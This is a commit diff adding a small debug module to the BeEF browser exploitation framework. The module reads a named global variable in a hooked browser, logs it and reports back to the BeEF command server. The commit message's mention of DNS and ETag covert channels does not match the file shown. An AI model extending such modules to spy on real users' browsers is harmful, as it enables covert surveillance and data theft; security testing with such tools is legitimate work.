Added DNS and ETag covert channels

modules/debug/test_get_variable/command.js

@@ -0,0 +1,20 @@
+//
+// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/*
+This JavaScript gets value of the specified variable that was set in another script via Window property.
+*/
+
+beef.execute(function() {
+
+ var payload = "<%= @payload_name %>";
+ var curl = "<%= @command_url %>";
+ var cid = "<%= @command_id %>";
+ 
+ console.log("The current value of " + payload + " is " + Window[payload]);
+ beef.net.send(curl, parseInt(cid),'get_variable=true');
+
+});